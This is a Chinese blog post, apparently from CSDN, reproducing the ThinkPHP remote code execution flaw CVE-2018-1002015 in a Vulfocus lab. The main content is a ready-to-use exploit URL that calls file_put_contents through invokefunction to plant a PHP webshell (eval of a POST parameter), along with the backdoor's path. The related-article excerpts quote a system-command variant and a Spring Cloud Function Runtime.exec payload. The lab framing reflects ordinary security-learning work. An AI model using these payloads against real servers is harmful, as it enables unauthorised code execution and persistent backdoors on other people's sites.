thinkphp-cve_2018_1002015

最新推荐文章于 2024-04-21 21:36:34 发布
最新推荐文章于 2024-04-21 21:36:34 发布
阅读量659 收藏
点赞数 1
分类专栏： vulfovus 文章标签： php 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_49025459/article/details/128205303
版权

ThinkPHP
ThinkPHP(FCS)是一个轻量级的中型框架，是从Java的Struts结构移植过来的中文PHP开发框架。它使用面向对象的开发结构和MVC模式，并且模拟实现了Struts的标签库，各方面都比较人性化，熟悉J2EE的开发人员相对比较容易上手，适合php框架初学者。
ThinkPHP的宗旨是简化开发、提高效率、易于扩展，其在对数据库的支持方面已经包括MySQL、MSSQL、Sqlite、PgSQL、
Oracle，以及PDO的支持。ThinkPHP有着丰富的文档和示例，框架的兼容性较强，但是其功能有限，因此更适合用于中小项目的开发。
漏洞复现

POC：/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=webshell.php&vars[1][]=<?php%20eval($_POST[%27pass%27]);?>

http://10.95.14.161:29189/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=webshell.php&vars[1][]=%3C?php%20eval($_POST[%27pass%27]);?%3E


后门地址
http://ip:port/webshell.php

若有收获，就点个赞吧

仲瑿
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
ThinkPHP 5.0.23 远程代码执行漏洞(CVE-2018-20062)漏洞复现
千寻的博客
12-19 5286
文章目录漏洞名称漏洞编号漏洞描述影响版本实验环境及准备漏洞发现漏洞复现（数据包）漏洞复现（工具）修复建议摘抄免责声明 漏洞名称 ThinkPHP 5.0.23 远程代码执行漏洞 漏洞编号 CVE-2018-20062 漏洞描述 ThinkPHP是一款运用极广的PHP开发框架。 其5.0.23以前的版本中，获取method的方法中没有正确处理方法名， 导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。 由于ThinkPHP5框架对控制器名没有进行足够的安全检测，导致在
【漏洞复现-thinkphp-代码执行】vulfocus/thinkphp-cve_2018_1002015
10-14 1554
【thinkphp-代码执行】函数
vulfocus靶场thinkphp命令执行cve-2018-1002015
最新发布
没有故事
04-21 309
漏洞，该漏洞源于ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤。远程攻击者可通过输入‘＼’字符的方式调用任意方法利用该漏洞执行代码。thinkPHP 5.0.x版本和5.1.x版本中存在。使用工具： thinkphp综合利用工具，然后使用webshell工具进行连接即可。
【CVE-2018-1002015】thinkphp命令执行漏洞
liuxiaoning_的博客
09-20 866
复现并分析【CVE-2018-1002015】thinkphp命令执行漏洞，使用docker技术搭建漏洞环境，在实验环境中复现该漏洞，利用该漏洞执行命令，写入后门，获取webshell。
thinkphp命令执行漏洞(CVE-2018-1002015)
m0_65150886的博客
12-28 674
ThinkPHP 5.0.x版本和5.1.x版本中存在远程代码执行漏洞，该漏洞源于ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤。远程攻击者可通过输入‘＼’字符的方式调用任意方法利用该漏洞执行代码。2.抓包，修改get请求。1.访问ip：port。
框架漏洞-CVE复现-ThinkPHP+Laravel+Struts+Spring
xiaoheizi的博客
07-16 354
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("要执行的命令")就是别人写好包装起来的一套工具，把你原先必须要写的，必须要做的一些复杂的东西都写好了放在那里，你只要调用他的方法，就可以实现一些本来要费好大劲的功能。工具：https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP。我要执行的是反弹shell命令，需要先对命令进行编码。
thinkphp-chm_php_
10-03
此手册由看云完整出版，提供了一个全面且易于理解的学习路径，帮助开发者快速掌握ThinkPHP5.0框架，提升项目开发效率。 在PHP编程中，ThinkPHP5.0是一个广泛应用的开源PHP框架，它遵循简洁而实用的设计原则，旨在...
tp5-api-master_termjtv_thinkphp5_tp_system-master_
10-03
《基于ThinkPHP5开发的管理后台程序详解》 在当今互联网技术日新月异的时代，高效、稳定的后台管理系统对于企业来说至关重要。ThinkPHP5作为国内广泛使用的PHP框架，以其强大的功能和易用性赢得了开发者们的青睐。...
thinkphp6-excel_thinkphp_
10-01
标题 "thinkphp6-excel_thinkphp_" 暗示我们正在处理一个使用ThinkPHP6框架的项目，其中包含了与处理Excel文件相关的功能。描述提到"thinkphp Excel 插件请自行安装"，这意味着这个项目可能依赖于一个特定的ThinkPHP...
ThinkPHP-2.0-API.rar_API THINKPHP_thinkphp_thinkphp A_thinkphp
09-23
提供的`ThinkPHP-2.0-API.chm`文件是官方的API文档，包含了详细的函数介绍、参数说明、示例代码，是学习和使用ThinkPHP 2.0 的重要参考资料。通过查阅此文档，开发者可以快速掌握框架的核心功能和使用方法。 六、...
homeleaf-Dingtalk_for_ThinkPHP-master.zip
05-25
首先，我们要明确的是，"homeleaf-Dingtalk_for_ThinkPHP-master.zip"是一个包含ThinkPHP5与钉钉API集成示例代码的压缩包。"Dingtalk_for_ThinkPHP"是压缩包内的主要项目文件夹，意味着开发者可以在这个目录下找到...
thinkphp 命令行执行
xiaopzi的博客
01-16 1421
echo $PATH/root/perl5/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin这里/usr/local/bin优先于/usr/bin。上面的意思是，linux执行任何命令，都会先去/usr/local/sbin，如果没有再去/usr/local/bin下面，如果还没有就去/usr/local/bin，以此类推，如果都没有，就会提示找不到命令。/usr/bin存放一些用户命令，如led(控制LED灯的)。
thinkphp3.2.3漏洞_Chrome新版本修复CVE202015999 0 day漏洞
weixin_39692623的博客
12-15 143
10月20日，谷歌发布新版本的Chrome 86.0.4240.111，新版本中共修复了5个安全漏洞，其中一个是0 day 漏洞CVE-2020-15999。Windows、mac和Linux桌面版用户都可以通过设置->帮助-关于Google Chrome 来更新到Chrome 86新版本。CVE-2020-15999 0 day漏洞利用谷歌Project Zero 研究团队发现并...
命令执行php框架代码,ThinkPHP远程命令执行漏洞原理及复现
weixin_42388716的博客
03-09 275
2018年12月11日，exploit-db更新了一个thinkphp框架远程代码执行漏洞exploit地址：https://www.exploit-db.com/exploits/45978由于框架对控制器名没有进行足够的检测导致在没有开启强制路由的情况下getshell漏洞影响范围Thinkphp 5.1.0 - 5.1.31Thinkphp 5.0.5 - 5.0.23安装：下载地址http...
ThinkPHP5.0使用命令行执行代码逻辑
BoYou233的博客
07-23 1878
创建一个自定义命令类文件，新建application/common/command/Hello.php <?php namespace app\common\command; use think\console\Command; use think\console\Input; use think\console\input\Argument; use think\console\input\Option; use think\console\Output; use think\Db; cl
php命令执行漏洞利用,ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析
weixin_31308407的博客
03-21 780
0x01 漏洞利用方式5.0版本POC(不唯一)命令执行：?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]文件写入：?s=index/\think\app/invokefunction&function=call_user_...
学好Python开发你一定会用到这30框架种
轻松学python的博客
11-07 982
现在Python成为了炽手可热的一门语言，在如何快速入门的同时，如何进行高效的开发是一门语言非常重要的优势。我们收集马哥Python了超过2000名学员的意见和建议，对Python常用的框架进行了梳理，这些框架包括事件I/O，OLAP，Web开发，高性能网络通信，测试，爬虫等。 Python目前主流的应用包括：Web开发、图形界面开发、系统网络运维、网络编程、科学数字计算、3D游戏开发，而我...
ThinkPHP历史漏洞
HAKUNAMATATATTA的博客
12-30 5818
Thinkphp 是一种开源框架。是一个由国人开发的支持windows/Unix/Linux 等服务器环境的轻量级PHP开发框架。很多cms就是基于 thinkphp 二次开发的，所以 thinkphp 出问题的话，会影响很多基于 thinkphp开发的网站。
thinkphp_3.0_full
01-26
thinkphp_3.0_full具有良好的扩展性和灵活性，可以满足不同规模和需求的项目开发。它提供了丰富的库和组件，包括数据库操作、表单验证、文件上传、缓存管理等功能，减少了开发人员在项目开发中的重复劳动。此外，...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值